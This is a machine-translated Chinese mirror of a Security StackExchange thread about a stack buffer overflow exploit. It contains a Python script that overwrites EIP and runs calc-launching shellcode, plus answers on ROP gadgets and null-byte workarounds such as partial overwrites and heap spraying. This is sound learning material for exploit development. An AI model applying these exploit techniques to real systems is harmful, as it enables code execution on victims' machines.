首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >尽管正确地覆盖了EIP,但Shellcode仍未执行

尽管正确地覆盖了EIP,但Shellcode仍未执行
EN

Security用户
提问于 2021-07-06 01:23:54
回答 2查看 325关注 0票数 0

这是我的功劳:

代码语言:javascript
复制
junk = b'A' * 1032
​
eip = b"\xf5\x93\x4a\x00" # some address where 'jmp esp' lives

shellcode = b""
shellcode += b"\x33\xc0"             # xor eax, eax
shellcode += b"\x50"                 # push eax
shellcode += b"\x68\x2E\x65\x78\x65" # push ".exe"
shellcode += b"\x68\x63\x61\x6C\x63" # push "calc"
shellcode += b"\x8B\xC4"             # mov eax, esp
shellcode += b"\x6A\x01"             # push 1
shellcode += b"\x50"                 # push eax
shellcode += b"\xBB\x30\xCD\x07\x77" # mov ebx, 7707cd30 (location of winexec)
shellcode += b"\xFF\xD3"             # call ebx
​
nopsled = b"\x90" * 30
​
with open("exploit.txt", "wb") as file:
    file.write(junk + eip + nopsled + shellcode)

EIP会被正确的值覆盖,但是它不会跳转到there代码中,我是不是遗漏了什么?我也尝试过使用msfvenom生成的外壳代码,但它也不起作用,所以我认为问题不在于外壳代码本身。我确信问题是来自EIP的\x00,但是如果jmp esp的地址包含它,我怎么能忽略它呢?如果没有前导的jmp esp,二进制文件中就没有\x00

EN

回答 2

Security用户

发布于 2021-07-06 06:39:42

你说得对,问题是\x00 in EIP。这是众所周知的坏字符,您可以找到更多的坏字符这里

要绕过这个问题,您需要使用小工具(面向返回的编程)跳转到ESP,例如:

代码语言:javascript
复制
0x11223344 mov eax, esp
...
ret

还有第二个跳转到EAX的小工具:

代码语言:javascript
复制
0x55667788 jmp eax
...
ret

在这种情况下,最终利用应该是:

代码语言:javascript
复制
with open("exploit.txt", "wb") as file:
    file.write(junk + b"\x44\x33\x22\x11" + b"\x88\x77\x66\x55" + nopsled + shellcode)
票数 1
EN

Security用户

发布于 2021-08-05 23:07:39

虽然使用ROP是一个可行的选择,但您不必使用ROP。有几种可行的选择:

  • 使用不同的..dll/..so库中具有更好的基址的小工具
  • 使用相对jmp:jmp esp-8并将有效负载移动8个字节
  • 使用一个长的NOP雪橇,跳到一个固定的堆栈地址,希望在您的NOP雪橇内。
  • 如果您控制多个寄存器,将一个预先计算好的地址加载到例如eax,然后使用像sub eax-48;call eax这样的小工具来转向jmp esp地址。
  • 喷洒堆并覆盖EIP到固定地址,如0x0c0c0c0c
  • 将有效载荷放在有效负载的垃圾部分,并找到一个小工具(尤其是足以在垃圾空间内点击的),然后返回。通过这种方式,您可以使用地址的部分覆盖,留下最大的字节及其原始值。考虑到您正在覆盖一个回信地址,它可能已经包含了0x004a????

解决这些问题有很多种方法,当然也允许有创造性。

票数 0
EN
页面原文内容由Security提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://security.stackexchange.com/questions/252064

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档